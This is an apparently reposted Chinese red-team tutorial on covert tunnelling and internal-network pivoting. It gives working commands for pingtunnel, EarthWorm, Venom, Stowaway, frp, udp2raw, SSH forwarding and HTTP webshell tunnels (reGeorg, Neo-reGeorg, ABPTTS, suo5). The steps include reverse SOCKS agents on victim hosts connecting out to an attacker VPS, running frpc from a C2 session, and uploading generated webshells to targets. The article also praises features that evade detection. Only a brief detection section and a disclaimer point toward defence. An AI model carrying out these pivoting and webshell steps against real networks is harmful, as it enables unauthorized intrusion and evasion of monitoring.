文章总结: 本文深入解析ICMP、TCP、UDP、DNS、SSH及HTTP隧道技术,详细介绍了pingtunnel、EarthWorm、Venom等工具在多级代理场景下的搭建与流量特征。文章对比了加密与非加密通信差异,并提出了基于端口、进程及流量特征的安全检测建议,对隐蔽通信与内网穿透有较高参考价值。 综合评分: 86 文章分类: 红队,内网渗透,安全工具,网络安全
ICMP隧道技术
什么是ICMP协议ICMP(Internet Control Message Protocol,Internet控制报文协议)是Internet协议族中的一个协议,用于在IP网络中传递控制消息和错误报告。ICMP属于TCP/IP协议族中的第三层-网络层协议。
ICMP隧道流量特征
正常情况下,单位时间内数据包发送的数量为一组。
pingtunnel
Pingtunnel 是⼀种通过 ICMP 发送 TCP/UDP 流量的⼯具。其是最流⾏的⼀款ICMP代理⼯具,提供对tcp/udp/sock5流量伪装成icmp流量进⾏转发的功能。需要root或者administrator/system权限。
下载 https://github.com/esrrhs/pingtunnel
⾼权限条件下
构建反向代理
1)服务端
-type server 代表开启ICMP SERVER端,等待客户端进⾏连接与通信。
-noprint 1 不在控制台打印⽇志
-nolog 1 不存储⽇志⽂件
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1
设置 socks5
pingtunnel.exe -type client -l :4455 -s 192.168.99.129 -sock5 1 -noprint 1 -nolog 1
TCP隧道技术
TCP隧道流量特征
EarthWormew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00” 客户端发送“01 01 00 00 00 00”
EarthWorm
EW 是⼀套便携式的⽹络穿透⼯具,具有 SOCKS v5服务架设和端⼝转发两⼤核⼼功能,可在复杂⽹络环境下完成⽹络穿透。
能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络深处。
1、公网出网
目标网络边界存在公网IP且可任意开监听端口:
2、都是内网 但是出网
目标网络边界不存在公网 IP,需要通过反弹方式创建socks代理:
./ew -s rcsocks -l 1080 -e 8888 // 在 192.168.229.143的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
./ew -s rssocks -d 192.168.229.143 -e 8888 // 将目标网络的可控边界主机反向连接公网主机
HackTools 可通过访问 192.168.229.143:1080 端口使用 rssocks 主机提供的 socks5 代理服
3、二重网络环境
2)反向代理
第一种
先在B机器上执行命令 //跳板机监听7766端口并把流量走6677端口
ew_for_Win.exe -s rcsocks -l 7766 -e 6677
第二种:
内网 可出网
Venom
下载:https://github.com/Dliv3/Venom/
未加密下的反向socks5代理
攻击机器
本机IP:192.168.200.111
kali:192.168.99.129
目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3
win10:10.10.10.4
开启3306
VPS:you-vps-ip
admin_linux_x64 -lport 7000 -passwd qaxNB666
show
goto 1
socks 1088
win8:192.168.99.134
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
1)VPS上运⾏服务端
admin_linux_x64 -lport 7000 -passwd qaxNB666
2)win8主机上传agent.exe并运⾏客户端
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
3)在VPS的服务端,开启socks
show
goto 1
socks 1088
实战演示:
- 浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令
内网穿透
- 内网扫描
- ip address 发现内网段为172.17.0.3/16网段
- 内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
加密下的反向socks5代理
admin.exe -lport 9999 -passwd dlive@dubhe
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe
多级级联
Stowaway 未完成
- 介绍 Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。
其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。
-
下载
https://github.com/ph4ntonn/Stowaway
-
使用
admin:
参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
agent:
参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔(s)
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
1)未加密下反向代理
服务端
./linux_x64_admin -l 9999
use 0
socks 10001
2)加密下反向代理
stowaway_admin -l 9999 -s test@123
stowaway_agent -c 192.168.1.131:9999 -s test@123
3)多级级联
在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现
admin:
./stowaway_admin -l 9999 -s 123
agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123
agent-2:
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点
agent-3:
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接
frp
- 下载:https://github.com/fatedier/frp
- 配置⽂件: https://github.com/fatedier/frp/blob/dev/conf/frps_full_example.toml
https://github.com/fatedier/frp/blob/dev/conf/frpc_full_example.toml
配置VPS
[common]
bind_port = 7000
token = qaxNB666
./frps -c frps.ini
配置客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = qaxNB666
[socks5]
type = tcp
remote_port = 1081
plugin = socks5
plugin_user = locks
plugin_passwd = locks
use_encryption = true
use_compression = true
进入到C2中上传frpc
cd C:\Windows\Temp\ 移动到上传的位置
shell dir 查看是否正确位置
shell frpc.exe -c frpc.ini 执行frpc
UDP隧道技术
UDP隧道流量特征
Udp2raw利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征
Udp2raw
- 介绍 该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。
其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。
- 下载 https://github.com/wangyu-/udp2raw
- 使用 假设你的UDP已被屏蔽,假设你的服务器IP为192.168.99.129,你有一个服务在监听udp端口7777。
在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.99.129:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。
2)中继模式
在中继模式下,需要自己有一个域名,并添加两条域名解析记录。
首先创建一条 A 记录指向自己的公网 VPS 地址,之后创建一条 ns 记录指向 A 记录的子域名,示例如下:
Linux转发
kali 连接 192.168.99.129 ubuntu ssh 192.168.99.132
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
sudo ssh -N -f -L 192.168.99.129:4444:192.168.99.132:22 192.168.99.129
windows转发
kali 129 win10 131
sudo ssh -N -f -L 192.168.99.129:10086:192.168.99.131:3389 192.168.99.129
HTTP隧道技术
HTTP隧道流量特征
tunnel页面特征
tunnel
- 介绍 Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。
- 下载 https://github.com/SECFORCE/Tunna
- 使用 前提是能够上传webshell
| | | | — | — | | 1 2 3 4 5 6 7 | -l 表示本地监听的端口 -r 远程要转发的端口 -v 详细模式 -b 请求大小 -s 首先启动 pinging 线程 – 一些服务首先发送数据(例如 SSH) -C 请求 cookie -t 基本认证 |
1)连接RDP
VPS执行
python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -a 192.168.99.135 -r 3389
2)连接SSH
vps
python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -a 192.168.99.132 -r 22 -v -s
reGeog&&Neo-reGeorg
-
介绍 reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。
-
下载 https://github.com/sensepost/reGeorg https://github.com/L-codes/Neo-reGeorg
-
使用
reGeorg
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
Neo-reGeorg
Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。 Neo-reGeorg支持:
1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境
使用方法
python3 neoreg.py generate -k password
python3 neoreg.py -k password -u http://xx/tunnel.php
python neoreg.py generate -k --file 404.html --httpcode 404
python neoreg.py -k -u --skip
python neoreg.py -k -u --proxy socks5://10.1.1.1:8080
python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
实战开始:
1、Kali中生成自定义连接密码的shell。
python3 neoreg.py generate -k Netw@rk123
2、上传文件
将生成的shell文件上传至目标服务器。
ABPTTS
-
介绍 ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。
-
下载 https://github.com/nccgroup/ABPTTS
-
使用
配置环境
git clone https://github.com/nccgroup/ABPTTS.git
pip install pycryptodome
pip install httplib2
#报错可以用
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
本地安装httplib2
https://pypi.org/project/pycryptodome/#files
tar -xzvf httplib2-0.22.0.tar.gz
cd httplib2-0.22.0
import importlib
python2 setup.py install
python2 -c "import httplib2; print(httplib2.__version__)
pip2 install pyparsing
实际操作
服务端
#生成对应webshell
python2 abpttsfactory.py -o webshell
suo5
Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。
其主要特性如下:
- 同时支持全双工与半双工模式,传输性能接近 FRP
- 支持在 Nginx 反向代理和负载均衡场景使用
- 完善的连接控制和并发管理,使用流畅丝滑
- 支持 Tomcat Jetty Weblogic WebSphere Resin 等主流中间件
- 支持 Java4 ~ Java 19 全版本, 兼容性拉满
- 同时提供提供命令行和图形化界面
下载地址:https://github.com/zema1/suo5
工具使用
第一步:
将suo5.aspx文件上传到靶机shell里面去,默认默认开放的是1111端口
第二步:
打开对应的gui文件进行代理设置
检测与防御
以frp作为案例 端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测
端口检测:默认配置下,frp的服务端端口为7000
知识星球
可以加入我们的知识星球,包含cs二开,甲壳虫,渗透工具,SRC案例分享,POC工具等,还有很多src挖掘资料包
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-track Locks_ Locks_《隧道代理攻防技术战争手册》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论